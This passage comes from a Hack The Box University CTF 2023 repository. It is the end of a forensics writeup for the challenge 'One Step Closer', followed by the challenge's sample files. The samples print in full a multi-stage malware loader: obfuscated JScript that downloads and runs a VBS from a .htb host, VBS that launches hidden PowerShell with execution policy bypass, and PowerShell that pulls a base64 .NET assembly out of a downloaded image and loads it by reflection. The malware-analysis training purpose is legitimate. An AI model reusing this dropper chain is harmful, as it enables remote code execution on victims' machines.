and executes it. The malicious `VBS` file is downloaded from this URL `http://infected.human.htb/d/BKtQR`. Accessing this link, we can continue to the second step. 49 | 50 | Since the second step is even more heavily obfuscated, in the screenshot below, can be seen only a small part of the script. 51 | 52 | ![](assets/vb.png) 53 | 54 | Again, we notice very large and random variable names, random variable names being declared and not being used later on the code. Renaming and removing the unused variables will help us understand the script better. 55 | ![](assets/deobf_vbs.png) 56 | 57 | Things we have to note so far: 58 | * Replace obfuscation techniques have been used. 59 | * A powershell command is being created. 60 | * The powershell command is executed at the end. 61 | 62 | We can either continue using a static analysis approach or we can contiue our analysis dynamically. The easier way is the dynamic one and we will use it for this writeup. 63 | 64 | Saving the code into a file called `malicious.vbs` we can debug it by using `cscript.exe` as follows: 65 | 66 | ```cmd 67 | cscript.exe //X malicious.exe 68 | ``` 69 | 70 | And by placing a breakpoint at the last line we can see the content of the variable that is being passed as an argument to the `Run` function. 71 | 72 | ![](assets/debug.png) 73 | 74 | The powershell script can be seen below: 75 | 76 | ![](assets/powershell.png) 77 | 78 | To deobfuscate it, and learn what the attacker is trying to execute we need to: 79 | * Replace `em9tYmllc` with `A`. 80 | * Base64-decode it. 81 | 82 | We can use cyberchef for this: 83 | 84 | ![](assets/cyberchef.png) 85 | 86 | The final PowerShell script can be seen here: 87 | 88 | ![](assets/final_powershell.png) 89 | 90 | * It downloads an image from this URL: `http://infected.zombie.htb/WJveX71agmOQ6Gw_1698762642.jpg` 91 | * It carves out an embedded base64 string starting from the offset `<>` until `<>`. 92 | * Base64 decodes it. 93 | * Executes it using reflection. 94 | 95 | # Solution 96 | 97 | We can download the image from the previously found link and carve out the base64 string using just an editor. 98 | 99 | By decoding it we can see the flag. 100 | ![](assets/flag.png) -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Easy] One Step Closer/assets/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Easy] One Step Closer/assets/banner.png -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Easy] One Step Closer/assets/cyberchef.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Easy] One Step Closer/assets/cyberchef.png -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Easy] One Step Closer/assets/debug.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Easy] One Step Closer/assets/debug.png -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Easy] One Step Closer/assets/deobf_js.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Easy] One Step Closer/assets/deobf_js.png -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Easy] One Step Closer/assets/deobf_vbs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Easy] One Step Closer/assets/deobf_vbs.png -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Easy] One Step Closer/assets/final_powershell.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Easy] One Step Closer/assets/final_powershell.png -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Easy] One Step Closer/assets/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Easy] One Step Closer/assets/flag.png -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Easy] One Step Closer/assets/htb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Easy] One Step Closer/assets/htb.png -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Easy] One Step Closer/assets/js.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Easy] One Step Closer/assets/js.png -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Easy] One Step Closer/assets/powershell.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Easy] One Step Closer/assets/powershell.png -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Easy] One Step Closer/assets/vb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Easy] One Step Closer/assets/vb.png -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Easy] One Step Closer/htb/deobf_js.txt: -------------------------------------------------------------------------------- 1 | var HTTPObject = new ActiveXObject("MSXML2.XMLHTTP.6.0"); 2 | var FileSystemObject = new ActiveXObject("Scripting.FileSystemObject"); 3 | var ShellObject = new ActiveXObject("WScript.Shell"); 4 | var TmpPath = 'C:\\Windows\\Temp'; 5 | var Filename = FileSystemObject.GetTempName() + ".vbs"; 6 | var FilePath = FileSystemObject.BuildPath(TmpPath, Filename); 7 | HTTPObject.open("GET", "http://infected.human.htb/d/BKtQR", false); 8 | HTTPObject.send(); 9 | 10 | if (HTTPObject.status === 200) { 11 | var scriptText = HTTPObject.responseText; 12 | var FileHandle = FileSystemObject.CreateTextFile(FilePath, true); 13 | FileHandle.write(scriptText); 14 | FileHandle.close(); 15 | var ExecutionHandle = ShellObject.Exec('wscript "' + FilePath + '"'); 16 | while (ExecutionHandle.Status === 0) { 17 | WScript.Sleep(100); 18 | } 19 | FileSystemObject.DeleteFile(FilePath); 20 | 21 | } else { 22 | WScript.Echo("Fatal: " + HTTPObject.status); 23 | } -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Easy] One Step Closer/htb/deobf_vbs.txt: -------------------------------------------------------------------------------- 1 | obfuscated_variable = "Jem9tYmllcBpem9tYmllcG0em9tYmllcYQBnem9tYmllcGUem9tYmllcVQByem9tYmllcGwem9tYmllcIem9tYmllcem9tYmllc9em9tYmllcCem9tYmllcem9tYmllcJwBoem9tYmllcHQem9tYmllcdem9tYmllcBwem9tYmllcDoem9tYmllcLwem9tYmllcvem9tYmllcGkem9tYmllcbgBmem9tYmllcGUem9tYmllcYwB0em9tYmllcGUem9tYmllcZem9tYmllcem9tYmllcuem9tYmllcGgem9tYmllcdQBtem9tYmllcGEem9tYmllcbgem9tYmllcuem9tYmllcGgem9tYmllcdem9tYmllcBiem9tYmllcC8em9tYmllcVwBKem9tYmllcHYem9tYmllcZQBYem9tYmllcDcem9tYmllcMQBhem9tYmllcGcem9tYmllcbQB" & a & b & a & "em9tYmllcFEem9tYmllcNgBHem9tYmllcHcem9tYmllcXwem9tYmllcxem9tYmllcDYem9tYmllcOQem9tYmllc4em9tYmllcDcem9tYmllcNgem9tYmllcyem9tYmllcDYem9tYmllcNem9tYmllcem9tYmllcyem9tYmllcC4em9tYmllcagBwem9tYmllcGcem9tYmllcJwem9tYmllc7em9tYmllcCQem9tYmllcdwBlem9tYmllcGIem9...[SNIP]..." 2 | obfuscated_variable = Replace( obfuscated_variable, a + b + a , "P") 3 | powershell_command = powershell_command & StrReverse("ys[ = d") 4 | powershell_command = powershell_command & StrReverse("eT.mets") 5 | powershell_command = powershell_command & StrReverse("ocne.tx") 6 | powershell_command = powershell_command & StrReverse("::]gnid") 7 | powershell_command = powershell_command & StrReverse("edocinU") 8 | powershell_command = powershell_command & StrReverse("rtSteG.") 9 | powershell_command = powershell_command & StrReverse("gni") 10 | ...[SNIP]... 11 | powershell_command = powershell_command & "dbzFGZtRYqCBgefVWmDfUZnbLpaQQTIAMcveTJekTjNZjNfCJawQsxvvTLaqAKZUciNlCQgVQFoKfnXYUTpOaNcbqsaDpdjNnDJymwidWxlLmZRoJmxzHcFtMNHFLqYxcpgFpHTQIJoIsDKygFhOhIUsFhmYGpMtHYXYriuBkzrHlGxHgtwOVBcJpaoSYXwYihoBDwDRSCDEGplfmoDjPrgYmdejlOxRRTwXXqUxtEpkdbzFGZtRYqCBgefVWmDfUZnbLpaQQTIAMcveTJekTjNZjNfCJawQsxvvTLaqAKZUciNlCQgVQFoKfnXYUTpOaNcbqsaDpdjNnDIhwiWILHovZEyZuwgHbTGwMVrwwjpWojiuZPXGPnkWzSsIhWOckYJSLGuGYaBQbdomrjcmnDF" 12 | powershell_command = powershell_command & "ZVNWqVGjwxwKYdAuCBFCwdFvnAC'')));" 13 | powershell_command = Replace(powershell_command, "TQIJoIsDKygFhOhIUsFhmYGpMtHYXYriuBkzrHlGxHgtwOVBcJpaoSYXwYihoBDwDRSCDEGplfmoDjPrgYmdejlOxRRTwXXqUxtEpkdbzFGZtRYqCBgefVWmDfUZnbLpaQQTIAMcveTJekTjNZjNfCJawQsxvvTLaqAKZUciNlCQgVQFoKfnXYUTpOaNcbqsaDpdjNnD", "e") 14 | powershell_command = Replace(powershell_command, "YdiovnqyjTDXTaRYzrOrPtPSPEkGydtHpsDzuMmtvwWDgfonHmlbiWofBzfzWwPCyghETBLJtSXhZTteJymwidWxlLmZRoJmxzHcFtMNHFLqYxcpgFpHeIhwiWILHovZEyZuwgHbTGwMVrwwjpWojiuZPXGPnkWzSsIhWOckYJSLGuGYaBQbdomrjcmnDFZVNWqVGjwx", "o") 15 | powershell_command = Replace(powershell_command, "ZjJMuHOyfLrFRZQLRAMejVORkrLmnSCXRqVNBLINqTtavYGXNKmWkKgLUKpRuknZoStcKiPTtlSLTzbLLKnqBLvCxwwfYDUEJVRbZAqnPXJFfwKgaKoaTyXvWlktaXauDNHvgmoqbgdjOoBAwieAxhmIQTQGWVjowvkJpSMpEPnfitrQGRfXaVLxUPAmLRGwRAEgjqTg", "s") 16 | powershell_command = Replace(powershell_command, "SjnKkClLMbtbUbEphNmdQTEXfhFHyXgQvKXvohDxuaGQdsTVSnrqEPEsLAdRQxDbDqFawzwRYThIFGZFjDIAEWMnWgxyLATxLKfXLJGtQgEqlXlrEBLbufduqlrgvcKaQAuxxmISiInqdFxetxSvuwcnvTQZlRnsnrezMZamRBgFTQGJcmEpKQISyYXRLVbdBQEdwdle", "t") 17 | powershell_command = Replace(powershell_command, "VXIxBYQSKDryEAULIfGtTdegkaavJdWnPtXZlxmbyRZbRztkgJXWSKYsPfdAvLjUlqQqikfohaKubLssSrhTyIatsqjlfjIBXVfmwFkVqYIyCtYmjprSExKIzpcAdoVBTPRwuxasqmXvYvnHQlXgZBCYBqolLMBaNbIspDogrWvPdQlBBtHAGkUozkbMEJZIHTuiLIxX", "a") 18 | ...[SNIP]... 19 | powershell_command = powershell_command & StrReverse("'DxujWO$ dnammoc- eliforPoN- ssapyb ycilopnoitucexe- neddih elytswodniw- exe.llehsrewop") 20 | script_object.Run "powershell -command " & powershell_command, 0, False -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Easy] One Step Closer/htb/final_powershell.txt: -------------------------------------------------------------------------------- 1 | $imageUrl = 'http://infected.zombie.htb/WJveX71agmOQ6Gw_1698762642.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<>';$endFlag = '<>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('ZDVkZmYyMWIxN2VlLTFmNDgtNWM3NC1jOTM0LWQ3M2MyYTYzPW5la290JmFpZGVtPXRsYT90eHQucmVmc25hcnQvby9tb2MudG9wc3BwYS5mOTNjNi1nbmlrY2FoL2IvMHYvbW9jLnNpcGFlbGdvb2cuZWdhcm90c2VzYWJlcmlmLy86c3B0dGg=' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu')) -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Easy] One Step Closer/htb/js.txt: -------------------------------------------------------------------------------- 1 | var lOLMCBgGDMolnlotrwOCsILGbKwBtzwvlYFqZdGLMqDxTrcBnpLiTUBqFfekJSDzoSURpLfjiRFSkUbDiScOejegcwcjNbnqGNXuTbtsxWGWvICjWnbUbbSrdUVFqffbkvjTgFhvQddrraBIrYWfNFerCZkSxFapZwPgmIRIyaedLHpBnOvnVBXwzWPxOQJgZModJeUo = new ActiveXObject("MSXML2.XMLHTTP.6.0"); 2 | var JzmzxutRESvvBNHRMgpQhJAmcuQNznBjwAbLtjLBPxoSGrvUCnwREryDvVBastJacHxICmpgOWJgUwSRXRwqAfFBpuXfuvQKeSHGMmiEVLNOXDrsiBQmKtBgrFvFnOEJvhaUPRsHWHJXFQABJnHSqYrABIaNvQjFElrbSrEIiGzCJnSHUlYQEbKNziGHlMlUiowWRPGw = new ActiveXObject("Scripting.FileSystemObject"); 3 | var CBZgIjkHfADIgnNwHIVgtNUBrjVWafHrRLSEDPUswrmjNaNRlTvDJdozVFfzVMHzjpdEoPlopkYPcunDXLgZbCcQToMaDqHieSCkYfzqatlzDRQLBtqFKLlIFmxbDebsFmXdhiHTvGzmMWEYMqzotmHetctmiYuMUuOQqaEEejfRnHyuiJAkwFYKwLrvfTVaxVzqMtWo = new ActiveXObject("WScript.Shell"); 4 | var AWgjPuudKWaufCdsGlXcfGBXlWzhGnugaLFEZJkXljTIiTlWxLziYRhZzkEFdwJZiyWUhBJhdaulcmVYllmbyxEpozeZhAVxCXClTUUNYngPYhWwTcyNovmwukeWsnLJLifhihpqYKHbzEQKIknuNqTCdJWSnzlEIEhoNPhzhAXLCkxsMeeRXRsGrNCeOSIcnFkMnhoj = 'C:\\Windows\\Temp'; 5 | var iQXNrUYfNRSDeYTqnnkAIHwOoiXzYicXoPIsDDsvvMnUvRWDdAoPhJQODSZHHiYLhONKLMuCrHuXfnbBOfSXYQRqtlzvJanjlYDvJPkIZzBBxzIPXbVvzIiVfxtXKEUaPQjQShbHdYcntUkfCfqOYGuzAbsGwzJAUvAZLujabnpPtDdTlZeepJmpUIpLJifXCeTPLhbiName = JzmzxutRESvvBNHRMgpQhJAmcuQNznBjwAbLtjLBPxoSGrvUCnwREryDvVBastJacHxICmpgOWJgUwSRXRwqAfFBpuXfuvQKeSHGMmiEVLNOXDrsiBQmKtBgrFvFnOEJvhaUPRsHWHJXFQABJnHSqYrABIaNvQjFElrbSrEIiGzCJnSHUlYQEbKNziGHlMlUiowWRPGw.GetTempName() + ".vbs"; 6 | var iQXNrUYfNRSDeYTqnnkAIHwOoiXzYicXoPIsDDsvvMnUvRWDdAoPhJQODSZHHiYLhONKLMuCrHuXfnbBOfSXYQRqtlzvJanjlYDvJPkIZzBBxzIPXbVvzIiVfxtXKEUaPQjQShbHdYcntUkfCfqOYGuzAbsGwzJAUvAZLujabnpPtDdTlZeepJmpUIpLJifXCeTPLhbi = JzmzxutRESvvBNHRMgpQhJAmcuQNznBjwAbLtjLBPxoSGrvUCnwREryDvVBastJacHxICmpgOWJgUwSRXRwqAfFBpuXfuvQKeSHGMmiEVLNOXDrsiBQmKtBgrFvFnOEJvhaUPRsHWHJXFQABJnHSqYrABIaNvQjFElrbSrEIiGzCJnSHUlYQEbKNziGHlMlUiowWRPGw.BuildPath(AWgjPuudKWaufCdsGlXcfGBXlWzhGnugaLFEZJkXljTIiTlWxLziYRhZzkEFdwJZiyWUhBJhdaulcmVYllmbyxEpozeZhAVxCXClTUUNYngPYhWwTcyNovmwukeWsnLJLifhihpqYKHbzEQKIknuNqTCdJWSnzlEIEhoNPhzhAXLCkxsMeeRXRsGrNCeOSIcnFkMnhoj, iQXNrUYfNRSDeYTqnnkAIHwOoiXzYicXoPIsDDsvvMnUvRWDdAoPhJQODSZHHiYLhONKLMuCrHuXfnbBOfSXYQRqtlzvJanjlYDvJPkIZzBBxzIPXbVvzIiVfxtXKEUaPQjQShbHdYcntUkfCfqOYGuzAbsGwzJAUvAZLujabnpPtDdTlZeepJmpUIpLJifXCeTPLhbiName); 7 | lOLMCBgGDMolnlotrwOCsILGbKwBtzwvlYFqZdGLMqDxTrcBnpLiTUBqFfekJSDzoSURpLfjiRFSkUbDiScOejegcwcjNbnqGNXuTbtsxWGWvICjWnbUbbSrdUVFqffbkvjTgFhvQddrraBIrYWfNFerCZkSxFapZwPgmIRIyaedLHpBnOvnVBXwzWPxOQJgZModJeUo.open("GET", "http://infected.human.htb/d/BKtQR", false); 8 | lOLMCBgGDMolnlotrwOCsILGbKwBtzwvlYFqZdGLMqDxTrcBnpLiTUBqFfekJSDzoSURpLfjiRFSkUbDiScOejegcwcjNbnqGNXuTbtsxWGWvICjWnbUbbSrdUVFqffbkvjTgFhvQddrraBIrYWfNFerCZkSxFapZwPgmIRIyaedLHpBnOvnVBXwzWPxOQJgZModJeUo.send(); 9 | 10 | if (lOLMCBgGDMolnlotrwOCsILGbKwBtzwvlYFqZdGLMqDxTrcBnpLiTUBqFfekJSDzoSURpLfjiRFSkUbDiScOejegcwcjNbnqGNXuTbtsxWGWvICjWnbUbbSrdUVFqffbkvjTgFhvQddrraBIrYWfNFerCZkSxFapZwPgmIRIyaedLHpBnOvnVBXwzWPxOQJgZModJeUo.status === 200) { 11 | var scriptText = lOLMCBgGDMolnlotrwOCsILGbKwBtzwvlYFqZdGLMqDxTrcBnpLiTUBqFfekJSDzoSURpLfjiRFSkUbDiScOejegcwcjNbnqGNXuTbtsxWGWvICjWnbUbbSrdUVFqffbkvjTgFhvQddrraBIrYWfNFerCZkSxFapZwPgmIRIyaedLHpBnOvnVBXwzWPxOQJgZModJeUo.responseText; 12 | var niyXKljCzNIENaWUxwYBODsAbUBFKCJJDbfyisBKTJpULtjrXSJIFBuGWkcmuhgDVdoSEMJPHvMzQiawcsBNhsfKbJlyQjzKLgnECDbAprhNSnXpNJwbwMQZWzJFAaxCQavQsDuRRIYXARrTgOjQgNHKgerFZvrghSUylvwuvszeCUHWvaOxTjgJDUzNCjCHYBnfbGOX = JzmzxutRESvvBNHRMgpQhJAmcuQNznBjwAbLtjLBPxoSGrvUCnwREryDvVBastJacHxICmpgOWJgUwSRXRwqAfFBpuXfuvQKeSHGMmiEVLNOXDrsiBQmKtBgrFvFnOEJvhaUPRsHWHJXFQABJnHSqYrABIaNvQjFElrbSrEIiGzCJnSHUlYQEbKNziGHlMlUiowWRPGw.CreateTextFile(iQXNrUYfNRSDeYTqnnkAIHwOoiXzYicXoPIsDDsvvMnUvRWDdAoPhJQODSZHHiYLhONKLMuCrHuXfnbBOfSXYQRqtlzvJanjlYDvJPkIZzBBxzIPXbVvzIiVfxtXKEUaPQjQShbHdYcntUkfCfqOYGuzAbsGwzJAUvAZLujabnpPtDdTlZeepJmpUIpLJifXCeTPLhbi, true); 13 | niyXKljCzNIENaWUxwYBODsAbUBFKCJJDbfyisBKTJpULtjrXSJIFBuGWkcmuhgDVdoSEMJPHvMzQiawcsBNhsfKbJlyQjzKLgnECDbAprhNSnXpNJwbwMQZWzJFAaxCQavQsDuRRIYXARrTgOjQgNHKgerFZvrghSUylvwuvszeCUHWvaOxTjgJDUzNCjCHYBnfbGOX.write(scriptText); 14 | niyXKljCzNIENaWUxwYBODsAbUBFKCJJDbfyisBKTJpULtjrXSJIFBuGWkcmuhgDVdoSEMJPHvMzQiawcsBNhsfKbJlyQjzKLgnECDbAprhNSnXpNJwbwMQZWzJFAaxCQavQsDuRRIYXARrTgOjQgNHKgerFZvrghSUylvwuvszeCUHWvaOxTjgJDUzNCjCHYBnfbGOX.close(); 15 | var kFDpRbkGYzMjxpDvpsBUmWdRZQYKzHzicYnHeVAsyBErEExScslrucqNQomSurYvoaVCTILMrbSKgXeYCBiPqVYDhrOfNUdYGDYmDMHXaJRqZfRmNBivjAFdHQctMgOOYTbLIzTfMwiDriqYXdfJORQtnVlwEfumyikULcvhUBQOztBlzheoLivROSUFkYoEgWpzuyVe = CBZgIjkHfADIgnNwHIVgtNUBrjVWafHrRLSEDPUswrmjNaNRlTvDJdozVFfzVMHzjpdEoPlopkYPcunDXLgZbCcQToMaDqHieSCkYfzqatlzDRQLBtqFKLlIFmxbDebsFmXdhiHTvGzmMWEYMqzotmHetctmiYuMUuOQqaEEejfRnHyuiJAkwFYKwLrvfTVaxVzqMtWo.Exec('wscript "' + iQXNrUYfNRSDeYTqnnkAIHwOoiXzYicXoPIsDDsvvMnUvRWDdAoPhJQODSZHHiYLhONKLMuCrHuXfnbBOfSXYQRqtlzvJanjlYDvJPkIZzBBxzIPXbVvzIiVfxtXKEUaPQjQShbHdYcntUkfCfqOYGuzAbsGwzJAUvAZLujabnpPtDdTlZeepJmpUIpLJifXCeTPLhbi + '"'); 16 | while (kFDpRbkGYzMjxpDvpsBUmWdRZQYKzHzicYnHeVAsyBErEExScslrucqNQomSurYvoaVCTILMrbSKgXeYCBiPqVYDhrOfNUdYGDYmDMHXaJRqZfRmNBivjAFdHQctMgOOYTbLIzTfMwiDriqYXdfJORQtnVlwEfumyikULcvhUBQOztBlzheoLivROSUFkYoEgWpzuyVe.Status === 0) { 17 | WScript.Sleep(100); 18 | } 19 | JzmzxutRESvvBNHRMgpQhJAmcuQNznBjwAbLtjLBPxoSGrvUCnwREryDvVBastJacHxICmpgOWJgUwSRXRwqAfFBpuXfuvQKeSHGMmiEVLNOXDrsiBQmKtBgrFvFnOEJvhaUPRsHWHJXFQABJnHSqYrABIaNvQjFElrbSrEIiGzCJnSHUlYQEbKNziGHlMlUiowWRPGw.DeleteFile(iQXNrUYfNRSDeYTqnnkAIHwOoiXzYicXoPIsDDsvvMnUvRWDdAoPhJQODSZHHiYLhONKLMuCrHuXfnbBOfSXYQRqtlzvJanjlYDvJPkIZzBBxzIPXbVvzIiVfxtXKEUaPQjQShbHdYcntUkfCfqOYGuzAbsGwzJAUvAZLujabnpPtDdTlZeepJmpUIpLJifXCeTPLhbi); 20 | 21 | } else { 22 | WScript.Echo("Fatal: " + lOLMCBgGDMolnlotrwOCsILGbKwBtzwvlYFqZdGLMqDxTrcBnpLiTUBqFfekJSDzoSURpLfjiRFSkUbDiScOejegcwcjNbnqGNXuTbtsxWGWvICjWnbUbbSrdUVFqffbkvjTgFhvQddrraBIrYWfNFerCZkSxFapZwPgmIRIyaedLHpBnOvnVBXwzWPxOQJgZModJeUo.status); 23 | } -------------------------------------------------------------------------------- /uni-ctf-2023/forensics/[Easy] One Step Closer/htb/powershell.txt: -------------------------------------------------------------------------------- 1 | $Codigo = 'Jem9tYmllcBpem9tYmllcG0em9tYmllcYQBnem9tYmllcGUem9tYmllcVQByem9tYmllcGwem9tYmllcIem9tYmllcem9tYmllc9em9tYmllcCem9tYmllcem9tYmllcJwBoem9tYmllcHQem9tYmllcdem9tYmllcBwem9tYmllcDoem9tYmllcLwem9tYmllcvem9tYmllcGkem9tYmllcbgBmem9tYmllcGUem9tYmllcYwB0em9tYmllcGUem9tYmllcZem9tYmllcem9tYmllcuem9tYmllcHoem9tYmllcbwBtem9tYmllcGIem9tYmllcaQBlem9tYmllcC4em9tYmllcaem9tYmllcB0em9tYmllcGIem9tYmllcLwBXem9tYmllcEoem9tYmllcdgBlem9tYmllcFgem9tYmllcNwem9tYmllcxem9tYmllcGEem9tYmllcZwBtem9tYmllcE8em9tYmllcUQem9tYmllc2em9tYmllcEcem9tYmllcdwBfem9tYmllcDEem9tYmllcNgem9tYmllc5em9tYmllcDgem9tYmllcNwem9tYmllc2em9tYmllcDIem9tYmllcNgem9tYmllc0em9tYmllcDIem9tYmllcLgBqem9tYmllcHem9tYmllcem9tYmllcZwem9tYmllcnem9tYmllcDsem9tYmllcJem9tYmllcB3em9tYmllcGUem9tYmllcYgBDem9tYmllcGwem9tYmllcaQBlem9tYmllcG4em9tYmllcdem9tYmllcem9tYmllcgem9tYmllcD0em9tYmllcIem9tYmllcBOem9tYmllcGUem9tYmllcdwem9tYmllctem9tYmllcE8em9tYmllcYgBqem9tYmllcGUem9tYmllcYwB0em9tYmllcCem9tYmllcem9tYmllcUwB5em9tYmllcHMem9tYmllcdem9tYmllcBlem9tYmllcG0em9tYmllcLgBOem9tYmllcGUem9tYmllcdem9tYmllcem9tYmllcuem9tYmllcFcem9tYmllcZQBiem9tYmllcEMem9tYmllcbem9tYmllcBpem9tYmllcGUem9tYmllcbgB0em9tYmllcDsem9tYmllcJem9tYmllcBpem9tYmllcG0em9tYmllcYQBnem9tYmllcGUem9tYmllcQgB5em9tYmllcHQem9tYmllcZQBzem9tYmllcCem9tYmllcem9tYmllcPQem9tYmllcgem9tYmllcCQem9tYmllcdwBlem9tYmllcGIem9tYmllcQwBsem9tYmllcGkem9tYmllcZQBuem9tYmllcHQem9tYmllcLgBEem9tYmllcG8em9tYmllcdwBuem9tYmllcGwem9tYmllcbwBhem9tYmllcGQem9tYmllcRem9tYmllcBhem9tYmllcHQem9tYmllcYQem9tYmllcoem9tYmllcCQem9tYmllcaQBtem9tYmllcGEem9tYmllcZwBlem9tYmllcFUem9tYmllccgBsem9tYmllcCkem9tYmllcOwem9tYmllckem9tYmllcGkem9tYmllcbQBhem9tYmllcGcem9tYmllcZQBUem9tYmllcGUem9tYmllceem9tYmllcB0em9tYmllcCem9tYmllcem9tYmllcPQem9tYmllcgem9tYmllcFsem9tYmllcUwB5em9tYmllcHMem9tYmllcdem9tYmllcBlem9tYmllcG0em9tYmllcLgBUem9tYmllcGUem9tYmllceem9tYmllcB0em9tYmllcC4em9tYmllcRQBuem9tYmllcGMem9tYmllcbwBkem9tYmllcGkem9tYmllcbgBnem9tYmllcF0em9tYmllcOgem9tYmllc6em9tYmllcFUem9tYmllcVem9tYmllcBGem9tYmllcDgem9tYmllcLgBHem9tYmllcGUem9tYmllcdem9tYmllcBTem9tYmllcHQem9tYmllccgBpem9tYmllcG4em9tYmllcZwem9tYmllcoem9tYmllcCQem9tYmllcaQBtem9tYmllcGEem9tYmllcZwBlem9tYmllcEIem9tYmllceQB0em9tYmllcGUem9tYmllccwem9tYmllcpem9tYmllcDsem9tYmllcJem9tYmllcBzem9tYmllcHQem9tYmllcYQByem9tYmllcHQem9tYmllcRgBsem9tYmllcGEem9tYmllcZwem9tYmllcgem9tYmllcD0em9tYmllcIem9tYmllcem9tYmllcnem9tYmllcDwem9tYmllcPem9tYmllcBCem9tYmllcEEem9tYmllcUwBFem9tYmllcDYem9tYmllcNem9tYmllcBfem9tYmllcFMem9tYmllcVem9tYmllcBBem9tYmllcFIem9tYmllcVem9tYmllcem9tYmllc+em9tYmllcD4em9tYmllcJwem9tYmllc7em9tYmllcCQem9tYmllcZQBuem9tYmllcGQem9tYmllcRgBsem9tYmllcGEem9tYmllcZwem9tYmllcgem9tYmllcD0em9tYmllcIem9tYmllcem9tYmllcnem9tYmllcDwem9tYmllcPem9tYmllcBCem9tYmllcEEem9tYmllcUwBFem9tYmllcDYem9tYmllcNem9tYmllcBfem9tYmllcEUem9tYmllcTgBEem9tYmllcD4em9tYmllcPgem9tYmllcnem9tYmllcDsem9tYmllcJem9tYmllcBzem9tYmllcHQem9tYmllcYQByem9tYmllcHQem9tYmllcSQBuem9tYmllcGQem9tYmllcZQB4em9tYmllcCem9tYmllcem9tYmllcPQem9tYmllcgem9tYmllcCQem9tYmllcaQBtem9tYmllcGEem9tYmllcZwBlem9tYmllcFQem9tYmllcZQB4em9tYmllcHQem9tYmllcLgBJem9tYmllcG4em9tYmllcZem9tYmllcBlem9tYmllcHgem9tYmllcTwBmem9tYmllcCgem9tYmllcJem9tYmllcBzem9tYmllcHQem9tYmllcYQByem9tYmllcHQem9tYmllcRgBsem9tYmllcGEem9tYmllcZwem9tYmllcpem9tYmllcDsem9tYmllcJem9tYmllcBlem9tYmllcG4em9tYmllcZem9tYmllcBJem9tYmllcG4em9tYmllcZem9tYmllcBlem9tYmllcHgem9tYmllcIem9tYmllcem9tYmllc9em9tYmllcCem9tYmllcem9tYmllcJem9tYmllcBpem9tYmllcG0em9tYmllcYQBnem9tYmllcGUem9tYmllcVem9tYmllcBlem9tYmllcHgem9tYmllcdem9tYmllcem9tYmllcuem9tYmllcEkem9tYmllcbgBkem9tYmllcGUem9tYmllceem9tYmllcBPem9tYmllcGYem9tYmllcKem9tYmllcem9tYmllckem9tYmllcGUem9tYmllcbgBkem9tYmllcEYem9tYmllcbem9tYmllcBhem9tYmllcGcem9tYmllcKQem9tYmllc7em9tYmllcCQem9tYmllccwB0em9tYmllcGEem9tYmllccgB0em9tYmllcEkem9tYmllcbgBkem9tYmllcGUem9tYmllceem9tYmllcem9tYmllcgem9tYmllcC0em9tYmllcZwBlem9tYmllcCem9tYmllcem9tYmllcMem9tYmllcem9tYmllcgem9tYmllcC0em9tYmllcYQBuem9tYmllcGQem9tYmllcIem9tYmllcem9tYmllckem9tYmllcGUem9tYmllcbgBkem9tYmllcEkem9tYmllcbgBkem9tYmllcGUem9tYmllceem9tYmllcem9tYmllcge